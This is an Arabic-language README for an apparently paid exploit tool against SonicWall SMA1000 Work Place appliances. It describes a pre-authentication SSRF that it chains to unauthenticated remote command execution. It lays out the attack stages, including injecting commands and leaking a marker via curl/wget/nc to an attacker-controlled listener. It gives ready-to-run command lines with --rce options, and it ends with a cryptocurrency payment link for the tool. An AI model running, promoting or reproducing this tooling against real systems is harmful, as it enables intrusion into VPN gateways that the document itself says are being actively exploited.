CVE-2026-83548 — SSRF قبل المصادقة في SonicWall SMA1000 Work Place

أداة أحادية الملف (Python 3، المكتبة القياسية فقط، بدون أي تبعيات) لتقييم واستغلال ثغرة SSRF قبل المصادقة في واجهة Work Place الخاصة بأجهزة SonicWall SMA1000 (6210 / 7210 / 8200v)، بما في ذلك سلسلة انتهازية للوصول إلى RCE دون مصادقة عبر CVE-2026-83549.

الثغرة

CVE	CVE-2026-83548 (SSRF، CWE-918/CWE-441)، CVSS 10.0
السلسلة	CVE-2026-83549 — حقن أوامر نظام التشغيل في AMC (بعد المصادقة)، يتم تجاوزه عبر SSRF
الآلية	تتصرف واجهة Work Place كـ وكيل إعادة توجيه غير مقصود: يعيد الجهاز توجيه الطلبات المصممة بعناية إلى موارد داخلية (بما في ذلك AMC) باستخدام موقعه الشبكي ذي الامتيازات، دون الحاجة إلى أي مصادقة في أي مرحلة
المتأثر	SMA1000 ≤ 12.4.3-03453 و ≤ 12.5.0-02835
المُصلَح	12.4.3-03526 / 12.5.0-02952 (إشعار SonicWall SNWLID-2026-0016)
الحالة	يُستغل بنشاط في البرية؛ مضاف إلى CISA KEV منذ 2026-09-02؛ لا يوجد حل بديل — الترقيع فقط

ما تفعله الأداة (المراحل)

• [A] البصمة + حالة الترقيع — طلب GET للقراءة فقط على جذر بوابة Work Place: لافتة Server: SMA/*، وأصول __extraweb__، والإصدار من روابط المساعدة؛ والتصنيف مقابل الإصدارات المُصلَحة (PATCHED / AFFECTED / POTENTIALLY_AFFECTED / NOT_SMA1000).
• [B] فحص متجهات SSRF — يختبر مجموعة مرشحة من متجهات إطلاق SSRF (بما في ذلك مسار الترحيل /cgi-bin/ وشكل وكيل إعادة التوجيه "URI مطلق كمسار") ويقيّم الشذوذ مقابل خط أساس: تغيّر رمز الحالة، فرق زمن الاستجابة، ترويسات استجابة جديدة، فرق في محتوى الاستجابة. تُقبل المتجهات التي يقدمها المشغّل عبر --vector (قابلة للتكرار).
• [C] التأكيد خارج النطاق — يشغّل مستمع التقاط محلي ويوجّه أفضل متجه إليه. الطلب الملتقط (الطريقة/الترويسات/User-Agent المُعاد توجيهه) يثبت أن الجهاز أعاد توجيه الطلب — وهو الثغرة الفعلية، وليس مجرد أثر توقيتي.
• [D] سلسلة RCE (CVE-2026-83549) — محاولة انتهازية لحقن الأوامر ضد AMC عبر ترحيل SSRF المؤكد، مع تسريب علامة مميزة عبر curl/wget/nc. يتطلب التأكيد التقاطًا خارج النطاق.

البدء السريع

# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com

# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    --oob-timeout 5 vpn.example.com

# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
    --rce-cmd 'id' vpn.example.com

# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
    --vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
    -k -t 10 203.0.113.10

# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    vpn-a.example.com vpn-b.example.com

--attacker-ip — عنوان IP الذي يجب أن يتمكن الجهاز من الوصول منه إلى مستمع الالتقاط الخاص بك (127.0.0.1 للفحوصات المحلية؛ عنوان ظاهر على الشبكة مع إعادة توجيه المنافذ للفحص عن بُعد). بدون هذا الخيار يخمّن الأداة عنوان IP محليًا، وهو غالبًا لا يعمل داخل إعدادات الحاويات/VPN.

رموز الخروج

الرمز	المعنى
0	مُرقّع / غير متأثر
1	متأثر بالإصدار، أو تم تأكيد SSRF، أو خط برنامج ثابت متأثر مع بناء دقيق غير محدد
2	تم تأكيد RCE دون مصادقة (نجحت السلسلة)
3	الهدف ليس بوابة SMA1000 Work Place
4	خطأ في الاتصال/خطأ آخر

القيود (اقرأ هذا)

1. المرحلة D انتهازية: يتطلب التأكيد التقاطًا خارج النطاق؛ وغياب ذلك ليس نفيًا.
2. يتطلب الالتقاط خارج النطاق (OOB) أن يتمكن الجهاز من الوصول إلى مستمعك (نفس الطبقة الثانية / إعادة توجيه المنفذ / VPN). انتهاء مهلة الالتقاط ≠ نفي SSRF.
3. حكم الإصدار: عادةً ما يكشف الجهاز عن خط البرنامج الثابت الخاص به فقط (مثل 12.5.0) خارجيًا، وليس بناء الإصلاح السريع الدقيق — والنتيجة الشائعة هي POTENTIALLY_AFFECTED، وهو ما يتطلب تأكيد البناء على الجهاز نفسه.
4. المراحل B–D ترسل طلبات إلى الهدف بحكم التصميم؛ استخدمها فقط ضد المضيفين الذين تملكهم أو لديك إذن صريح باختبارهم.

https://satoshidisk.com/pay/CShhL9